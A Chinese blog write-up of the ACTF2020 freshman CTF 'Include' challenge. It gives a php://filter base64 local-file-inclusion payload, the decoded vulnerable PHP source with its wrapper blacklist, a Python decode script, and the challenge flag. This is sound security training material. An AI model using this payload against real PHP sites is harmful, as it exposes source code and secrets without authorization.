首页 > 其他分享 >[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Include

时间:2024-11-11 12:18:37浏览次数:4  
标签:ACTF2020 php base64 Cg 新生 decode flag 源码 Include

发现flag.php就在这但是不回显结果。
这时考虑使用伪协议间接读取源码内容
以base64伪协议为例:
payload为:?file=php://filter/convert.base64-encode/resource=index.php

得到index.php的源码的base64编码形式,

PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==

使用python脚本解码:

import base64

def base64_decode(base64_code):
      bytes = base64.b64decode(base64_code)
      ss = bytes.decode()
      print(ss)
  
a = 'PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg=='
base64_decode(a)

得到结果为php源码:

<meta charset="utf8">
  <?php
  error_reporting(0);
  $file = $_GET["file"];
  if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
  	exit('hacker!');
  }
  if($file){
  	include($file);
  }else{
  	echo '<a href="?file=flag.php">tips</a>';
  }
  ?>

发现有一些协议黑名单,但我们仍然可以使用base64伪协议访问flag.php,得到PD9waHAKZWNobyAiQ2FuIHlvdSaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTcyODA4ZjAtYjAyNC00YzhkLWEzZmQtNzI0MGVkZTVlOWY4fQo=
继续base64解码得到,这里我们就拿到了flag

  <?php
  echo "Can you find out the flag?";
  //flag{e72808f0-b024-4c8d-a3fd-7240ede5e9f8}

标签:ACTF2020,php,base64,Cg,新生,decode,flag,源码,Include
From: https://www.cnblogs.com/abenben/p/18539447

相关文章

  • 2024新生赛开关灯
    1.开干灯,二分法的题。在遥远的巨神峰,居住着许多灯泡精灵。每个精灵都有自己独特的编号,从1到n。在这个王国,所有的灯泡一开始都是亮着的,它们的光芒把整个王国照亮。然而,灯泡精灵们决定进行一场神秘的仪式,每个精灵按以下规则翻转灯光状态。仪式的规则如下:对于每个i=1,2,…,n,......
  • Java毕业设计-基于SSM的新生报到系统【代码+论文+PPT+开题】
    全文内容包括:1、采用技术;2、系统功能;3、系统截图;4、部分代码;5、配套内容。索取方式见文末微信号,欢迎关注收藏!一、采用技术语言:Java1.8框架:SSM数据库:MySQL5.7、8.0开发工具:IntelliJIDEA旗舰版其他:Maven3.8以上二、系统功能个人中心:提供学生个人信息查看与编辑,以及报到进度......
  • 「C/C++」C++标准库 之 #include<iostream> 标准输入输出
    ✨博客主页何曾参静谧的博客......
  • 「C/C++」C++标准库 之 #include<functional> 函数模板库
    ✨博客主页何曾参静谧的博客......
  • 「C/C++」C/C++标准库 之 #include<cctype> 字符分类处理库
    ✨博客主页何曾参静谧的博客......
  • 大学新生编程入门的奇幻之旅
    《大学新生编程入门的奇幻之旅》一、引言在这个充满科技与创新的时代,编程如同一把神奇的钥匙,能够打开无数扇通往精彩未来的大门。对于当代大学生来说,掌握编程技能已经不再是一种选择,而是成为了必备的素养。然而,当新生们踏入这个广阔的编程世界时,往往会被众多的编程语言和......
  • 3.fastapi的路由分发include_router
    1.main文件中添加prefix指定参数,urls中不添加路由前缀的效果2.main文件中添加prefix指定参数,urls中添加路由前缀的效果3.购物中心接口运行结果_get请求_food4.购物中心接口运行结果_get请求_bed5.用户中心接口运行结果_post请求_login6.用户中心接口运行结果_post请求_reg......
  • 帝国CMS根据新闻正文字段[newstext]批量重新生成简介字段[smalltext]
    步骤:设置自动生成简介的字数:进入帝国CMS后台,设置自动获取简介的字数(默认160,可以改为320)。编写处理PHP脚本:创建 auto_smalltext.php 文件,内容如下:<?phpdefine('EmpireCMSAdmin','1');require("../class/connect.php");require("../class/db_sql.php");req......
  • 编程小白如何成为大神?大学新生的最佳入门攻略
    编程小白如何成为大神?大学新生的最佳入门攻略如何选择适合自己的编程语言考虑兴趣方向如果对网页开发感兴趣,那么HTML、CSS和JavaScript是很好的选择。HTML用于构建网页的结构,CSS用于网页的样式设计,JavaScript则能为网页添加交互功能。例如,想要制作一个具有动画效果的网站......
  • 中国地质大学(武汉)2024年新生赛(同步赛)A - E(待完善)
    发现没几个人写这场比赛的题解,顺便给补题的人提供一点思路,故而火速出了这篇(不会都去打区域赛了吧,悲~)A点击查看代码voidsolve(){ intn; cin>>n; cout<<n-1<<'\n';}B模拟题根据题意:一、预约:考虑为0的情况:1.此时读者有书2.读者上次预约时间未超过d天其......